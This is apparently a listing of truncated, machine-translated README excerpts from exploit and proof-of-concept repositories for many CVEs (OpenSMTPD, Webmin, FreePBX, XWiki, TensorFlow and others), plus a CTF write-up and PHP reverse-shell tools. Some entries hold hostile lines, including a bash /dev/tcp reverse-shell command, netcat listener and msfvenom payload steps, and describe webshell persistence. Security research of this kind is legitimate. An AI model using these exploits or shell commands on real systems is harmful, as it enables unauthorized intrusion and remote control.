YAPS

YAPS - Y et A nother P HP S hell また別のPHPシェル はい、名前が示す通り、これはまた別のPHPリバースシェルで、世の中に数百あるものの一つですが、いくつかの利点があります。すべての機能を含む単一のPHPファイルであり、シンプルなTCPリスナー（例：nc -lp 1337）で制御できます。 現在のバージョン（1.5）では、主要機能はLinuxシステムのみをサポートしていますが、今後Windowsでも動作するように計画しています。 現在は最初のバージョンであり、まだ十分にテストされていません。...

CVE-2022-1292

CVE-2022-1292 POC 描述 crehash 脚本未能正确清理 shell 元字符以防止命令注入。 某些操作系统在分发此脚本时，会使其自动执行。 在这些操作系统上，攻击者可以以脚本的权限执行任意命令。 使用 crehash 脚本被认为已过时，应替换为 OpenSSL rehash 命令行工具。 此脚本由 update-ca-certificates（来自 ca-certificates 包）执行， 用于重新哈希 /etc/ssl/certs/ 中的证书。能够在 此目录中放置文件的攻击者可以以脚本的权限执行任意命令。 命令注入的发生是因为文件名未正确清理： $fname =...

CVE-2024-37084-Poc

CVE-2024-37084-Poc 关于 CVE-2024-37084 的设置、分析、演示利用和 PoC。 使用方法： py .\CVE-2024-37084-Poc.py usage: python CVE-2024-37084-Poc.py --targeturl --version --payloadurl --listenip --listenport PoC for CVE-2024-37084 - Remote Code Execution optional arguments: -h, --help show this help message and exit...

ExploitTensorflowCVE-2021-37678

CVE-2021-37678 漏洞利用 要利用此漏洞，需要启动一个 Docker 容器，其环境已准备就绪，用于运行仍包含漏洞的 Tensorflow 版本 2.2.3。 环境组成如下： 64 位 AMD 架构， 可执行 AVX 指令的 CPU 或 GPU 64 位 Python 3.6.9 版本 Pip3 20.2.4 版本 Tensorflow 2.2.3 版本 PyYAML 3.12 版本 通过执行以下命令检查机器是否安装了 Docker： docker -v 当我们的操作系统安装好 Docker 后，在该仓库的根目录下运行以下命令来构建并启动应用： docker-compose...

CVE-2017-0213

CVE-2017-0213 ここでGoogle Project Zeroチームが提供したコードを使用しました： https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213 私が行った変更により、プログラムがpowershellのワンライナーを呼び出し、ターゲット上でEmpireエージェントを取得できるようになります。 これをEmpire経由での権限昇格に使用します。...

hacks

/\ /\ \ /\ \ /\ /\ \ /:// /::\ \ /::\ \ /:/ / /::\ \ /::/\ /:::\ /:/:\ /::-"\ /::\ /::/ / /::/ / :\ // ;:;-",-" ::// /:/ / /:/ / :\ |:| | ::/ / // // // || // いくつかのランダムなスクリプト集です。かっこいい奴らみたいになりたくてね。すべてのスクリプトを /usr/local/bin に置いて、ハックしまくってください。 セットアップ用ワンライナー...

CVE-2015-1578

CVE-2015-1578 Achat 0.150 beta7 - 远程缓冲区溢出，为 PNPT 课程重写为 python3 版本。 原作者：KAhara MAnhara 重写者：Giuseppe Aloisi（python3 版本） Achat 0.150 beta7 - 缓冲区溢出 已在 Windows 7 32 位系统上测试 https://www.exploit-db.com/exploits/36025 给脚本几秒钟时间，它会给你一个反向 shell... 在代码中运行 msfvenom 命令 msfvenom -a x86 --platform Windows...

CVE-2020-29669

Macally WIFISD2-2A82 CVE-2020-29669 の解説 by Maximilian Barz Silky and Daniel Schwendner code-byter ========================== これは、Macally WIFISD2-2A82 トラベルルーター（ファームウェアバージョン 2.000.010）の悪用に関する解説です。ゲストユーザーは自身のパスワードをリセットできます。この処理には脆弱性があり、管理者アカウントを乗っ取り、シェルアクセスを得ることができます。管理者ユーザーは /etc/shadow...

CVE-2024-10793

CVE-2024-10793 PoC 将以下行添加到你的 hosts 文件中： 127.0.0.1 goodcms.lab 127.0.0.1 attacker.com 使用 Docker 启动 Wordpress： $ sudo systemctl start docker $ sudo docker-compose up -d 打开 http://goodcms.lab:2121 并执行 wordpress 的安装步骤。 在 wordpress 中安装 wp-security-audit-log.5.2.1 或更旧版本。 启动攻击者服务器： $ php -S 0:9091 -t...

CGIShell

CGIShell shellshock CVE-2014-6271 Exploit CGI Uso como OpenSSH vía página CGI Uso python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' Captura de pantalla Dependencias Windows necesita pyreadline No es necesario chardet Futuro Añadir TestCase Soporte de inicio de sesión HTTP Compresió...

CVE-2019-17558_Solr_Vul_Tool

Solr Velocity模板注入漏洞检测工具 工具介绍 19年10月底爆出了Solr Velocity模板注入远程命令执行漏洞，人工检测该漏洞需burp抓包改包来回好几次，效率较低，写了这个小工具，支持一键检测漏洞、执行命令、反弹shell，欢迎提issue。该工具仅限安全从业者在法律法规允许的范围内使用，违规使用后果自负。 运行环境 跨平台，JRE=1.8。 （为精简文件大小，单独为每个平台打包SWT库，下载对应平台jar即可） 运行方式 win：java -jar SolrVulScan1.0-win64.jar linux：java -jar...

CVE-2021-31762

CSRF-to-RCE ..| CVE-2021-31762 |.. 描述： 利用跨站请求伪造（CSRF）攻击，通过Webmin的添加用户功能创建特权用户，然后通过Webmin的运行进程功能获取反弹Shell 测试版本： Webmin 1.973（GitHub最新版本 2021/03/07） 攻击类型： 远程 影响： 远程命令执行 漏洞利用POC代码： YouTube POC： https://youtu.be/qCvEXwyaF5U 产品供应商： https://www.webmin.com 附加信息：...

CVE-2025-5781

FreePBX CVE-2025-57819 漏洞利用工具 描述 该脚本利用了 FreePBX 16.0.26.0 之前版本中的一个漏洞（CVE-2025-57819），允许远程攻击者通过 AJAX API 端点中的 SQL 注入缺陷执行任意 PHP 代码。该脚本会同时创建 webshell 和自动触发的反向 shell。 漏洞详情 CVE ：CVE-2025-57819 受影响版本 ：FreePBX 16.0.26.0 影响 ：远程代码执行（RCE） 攻击向量 ：AJAX API（/admin/ajax.php）中的 SQL 注入 功能特性 在 /pbxshell.php 创建持久化...

TryHack3M-Bricks-Heist

TryHack3M: Bricks Heist 漏洞利用 • 解题报告 • CTF 挑战 一个包含自定义漏洞利用脚本及详细解题报告的综合仓库，针对 TryHack3M: Bricks Heist 挑战 快速开始 • 仓库结构 • 漏洞利用 • 解题报告 • 免责声明 概述 本仓库记录了 TryHack3M: Bricks Heist 挑战——一个中等难度的 CTF 房间，涉及： 阶段| 描述 ---|--- 侦察| 发现一个使用 Bricks Builder 的易受攻击 WordPress 站点 利用| 利用 CVE-2024-25600 实现未认证 RCE 调查| 揭露与 LockBi...

CVE-2020-7247

CVE-2020-7247 该漏洞存在于OpenBSD的邮件服务器OpenSMTPD的“smtpmailaddr”函数中，影响OpenBSD 6.6版本。攻击者可利用该漏洞以root用户身份执行任意shell命令，例如“sleep 66”。 如何使用？ python3 getShell.py 如果需要反弹shell，可以这样运行： python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要提示 根据实际情况修改此利用脚本中的某些内容，如RCPT to等（如有需要）。 更多详细解释请参阅这篇文章：...

CVE-2024-36057

CVE-2024-36057 — Koha 图书馆软件 CVE ID： CVE-2024-36057 产品： Koha 图书馆软件 漏洞类型： 操作系统命令注入 CWE-78 CVSS 评分： 8.7（高危）需认证 受影响版本： 低于 22.05.22 致谢： Karolis Narvilas 描述 Koha 是一个开源集成图书馆系统。在 tools/upload-cover-image.pl 的封面图片上传功能中存在命令注入漏洞。该应用程序使用 qx/unzip $filename -d $dirname/ 来解压上传的 ZIP 压缩包，但未对文件名参数进行清理。...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - 图片远程代码执行 使用Python对CVE-2019-8942和CVE-2019-8943的利用 : ExploitDB : https://www.exploit-db.com/exploits/49512 针对metasploit的原始利用 : WordPress Core 5.0.0 - 裁剪图片Shell上传 Metasploit : https://www.exploit-db.com/exploits/46662 视频 : 描述:...

Project-CVE-2026-50751

CVE-2026-50751 IKEv1 安全测试 描述 此 Python 脚本是一个攻击性安全测试框架，旨在针对 CVE-2026-50751，即 Check Point IKEv1 VPN 身份验证绕过漏洞。 功能 扫描 IP 地址，检测 UDP 端口 500 上的 IKEv1 VPN 服务 尝试识别 Check Point VPN 网关 发送精心构造的 IKEv1 数据包，声称用于测试身份验证绕过 包含内部网络探测功能 包含反向 Shell 监听器和载荷生成功能 重要说明 此脚本并非已确认的可靠漏洞利用工具。某些功能可能失败、产生误报结果，或仅模拟 VPN 隧道创建等操作。...

CVE-2026-23744-PoC

CVE-2026-23744-PoC 免责声明： 本概念验证（PoC）仅供 授权的安全研究、教育目的和受控实验室环境（例如 HTB、CTF 或经明确书面同意的内部渗透测试）使用。未经许可对任何系统进行未授权使用是非法且不道德的。作者对滥用不承担任何责任；用户应全权负责遵守所有适用法律法规。 描述 CVE-2026-23744 是 MCPJam Inspector（版本 ≤ 1.4.2）中的一个未认证命令注入漏洞。 /api/mcp/connect 端点接受包含 serverConfig.command 和 serverConfig.args 的 JSON...

CVE-2025-24893-PoC

CVE-2025-24893 - XWiki 远程代码执行 RCE 这是一个针对 CVE-2025-24893 的更新版概念验证 PoC 利用代码，该漏洞是 XWiki 中的一个关键未认证 RCE 漏洞。此版本在原版基础上进行了改进，允许执行任意 shell 命令并实现干净的反弹 shell 注入。 作者: HexHunter404 ⚠️ 警告 此代码仅供教育和授权的渗透测试使用 。 请勿将其用于您不拥有或未经明确许可测试的系统上。 ✨ 功能特点 支持通过 bash -c '' 执行命令 完全支持反弹 shell（通过 base64 绕过 Groovy 限制） 改进了命令输出的处理 保留...